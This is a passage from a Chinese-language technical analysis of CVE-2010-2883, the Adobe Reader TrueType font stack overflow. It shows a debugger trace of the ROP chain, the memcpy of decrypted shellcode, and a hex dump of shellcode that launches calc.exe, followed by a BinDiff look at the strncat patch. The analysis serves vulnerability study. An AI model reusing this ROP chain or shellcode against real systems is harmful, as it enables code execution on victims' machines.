4A802AB2 C3 retn ; esp = 0C0C0D08, eip = 4A80A8A6
4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi
...
4A80A8C8 32C0 xor al,al
4A80A8CA C3 retn ; esp = 0C0C0D0C, eip = 4A8063A5
4A8063A5 59 pop ecx ; esp = 0C0C0D10, ecx = 4A801064
4A8063A6 C3 retn ; esp = 0C0C0D14, eip = 4A80AEDC
4A80AEDC 8D5424 0C lea edx,dword ptr ss:[esp+0xC] ; edx = 0C0C0D20
4A80AEE0 52 push edx
4A80AEE1 50 push eax
4A80AEE2 FF7424 0C push dword ptr ss:[esp+0xC]
4A80AEE6 FF35 3C098A4A push dword ptr ds:[0x4A8A093C]
4A80AEEC FFD1 call ecx ; esp = 0C0C0D00, eip = 4A801064
4A80AEEE 83C4 10 add esp,0x10
4A80AEF1 C3 retn
4A801064 C3 retn ; esp = 0C0C0D04, eip = 4A80AEEE
4A80AEEE 83C4 10 add esp,0x10
4A80AEF1 C3 retn ; esp = 0C0C0D18, eip = 4A801F90
4A801F90 58 pop eax ; eax = 00000034
4A801F91 C3 retn ; esp = 0C0C0D20, eip = 4A80D585
4A80D585 03C2 add eax,edx ; eax = 0C0C0D54
4A80D587 C3 retn ; esp = 0C0C0D24, eip = 4A8063A5
4A8063A5 59 pop ecx ; ecx = 4A801064
4A8063A6 C3 retn ; esp = 0C0C0D2C, eip = 4A842DB2
4A842DB2 97 xchg eax,edi
4A842DB3 C3 retn ; esp = 0C0C0D30, eip = 4A802AB1
4A802AB1 5B pop ebx ; ebx = 0000000A
4A802AB2 C3 retn ; esp = 0C0C0D38, eip = 4A80A8A6
4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi
...
4A80A8C8 32C0 xor al,al
4A80A8CA C3 retn ; esp = 0C0C0D3C, eip = 4A801F90
4A801F90 58 pop eax ; eax = 4A849170 <&MSVCR80.memcpy>
4A801F91 C3 retn ; esp = 0C0C0D44, eip = 4A80B692
4A80B692 - FF20 jmp dword ptr ds:[eax] ; msvcr80.memcpy
调用函数 memcpy，各参数如下所示：
0C0C0D44 03E90000 /CALL 到 memcpy
0C0C0D48 03E90000 |dest = 03E90000
0C0C0D4C 0C0C0D54 |src = 0C0C0D54
0C0C0D50 00001000 \n = 1000 (4096.)
然后这段复制过去的 shellcode 会被解密，并跳到 03E900A3 执行：
03E9000E B1 31 mov cl,0x31
03E90010 315A 18 xor dword ptr ds:[edx+0x18],ebx
03E90013 035A 18 add ebx,dword ptr ds:[edx+0x18]
03E90016 83C2 04 add edx,0x4
03E90019 ^ E2 F5 loopd short 03E90010
03E9001B FC cld
03E9001C E8 82000000 call 03E900A3
d 03E90000:
03E90000 DB C1 D9 74 24 F4 BB 81 F4 49 9E 5A 29 C9 B1 31 哿賢$艋侓I瀂)杀1
03E90010 31 5A 18 03 5A 18 83 C2 04 E2 F5 FC E8 82 00 00 1ZZ兟怩?.
03E90020 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 .`夊1纃婸0婻.婻
03E90030 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 媟(稪&1?a|,
03E90040 C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 料.氢騌W婻婮<
03E90050 4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18 Lx鉎裃媃 計I
03E90060 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7 ?I????
03E90070 38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 8鄒?}?}$u鋁媂$
03E90080 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 觙?K媂 計?
03E90090 89 44 24 24 5B 5B 61 59 5A 51 FF E0 5F 5F 5A 8B 塂$$[[aYZQ郷_Z
03E900A0 12 EB 8D 5D 6A 01 8D 85 B2 00 00 00 50 68 31 8B 雿]j崊?..Ph1
03E900B0 6F 87 FF D5 BB F0 B5 A2 56 68 A6 95 BD 9D FF D5 o?栈鸬h綕
03E900C0 3C 06 7C 0A 80 FB E0 75 05 BB 47 13 72 6F 6A 00 <|.€u籊roj.
03E900D0 53 FF D5 63 61 6C 63 2E 65 78 65 00 0C 0C 0C 0C S誧alc.exe.....
03E900E0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
最后弹出计算器：
03E900A3 5D pop ebp ; ebp = 03E90021
03E900A4 6A 01 push 0x1
03E900A6 8D85 B2000000 lea eax,dword ptr ss:[ebp+0xB2] ; eax = 03E900D3 "calc.exe"
03E900AC 50 push eax
03E900AD 68 318B6F87 push 0x876F8B31
03E900B2 FFD5 call ebp
补丁
利用 BinDiff 插件进行二进制比对，可以看到在修复漏洞时使用函数 sub_813391E 替换了 strcat：
0.92 0.97 GI-JE-C 0803DD33 sub_803DD33 0803DCF9 sub_803DCF9 call reference matching 50 52 51 220 254 247 72 84 83
跟进函数 sub_813391E：
.text:0813391E ; int __cdecl sub_813391E(char *Str, char *Source, int)
.text:0813391E sub_813391E proc near ; CODE XREF: sub_803C375+244↑p
.text:0813391E ; sub_803C375+2BB↑p ...
.text:0813391E
.text:0813391E Str = dword ptr 4
.text:0813391E Source = dword ptr 8
.text:0813391E arg_8 = dword ptr 0Ch
.text:0813391E
.text:0813391E push esi
.text:0813391F mov esi, [esp+4+Str]
.text:08133923 push esi ; Str
.text:08133924 call strlen ; 获得 uniqueName 的长度，返回值在 eax 中
.text:08133929 pop ecx
.text:0813392A mov ecx, [esp+4+arg_8] ; ecx 的值是 0x104
.text:0813392E cmp ecx, eax ; 判断是否大于 0x104 个字节
.text:08133930 ja short loc_8133936 ; 跳转
.text:08133932 mov eax, esi
.text:08133934 pop esi
.text:08133935 retn
.text:08133936 ; ---------------------------------------------------------------------------
.text:08133936
.text:08133936 loc_8133936: ; CODE XREF: sub_813391E+12↑j
.text:08133936 sub ecx, eax
.text:08133938 dec ecx
.text:08133939 push ecx ; Count ; ecx = ecx - eax - 1
.text:0813393A push [esp+8+Source] ; Source
.text:0813393E add eax, esi ; 动态调整栈空间
.text:08133940 push eax ; Dest
.text:08133941 call ds:strncat ; strncat 复制字符串
.text:08133947 add esp, 0Ch
.text:0813394A pop esi
.text:0813394B retn
.text:0813394B sub_813391E endp
使用更安全的 strncat 替代 strcat，限制字符串长度为 0x104 字节，并且根据字符串长度动态地调整栈空间。
参考资料
- 《漏洞战争》
- https://www.cvedetails.com/cve/CVE-2010-2883/
- PDF File Format: Basic Structure
- TrueType 1.0 Font Files
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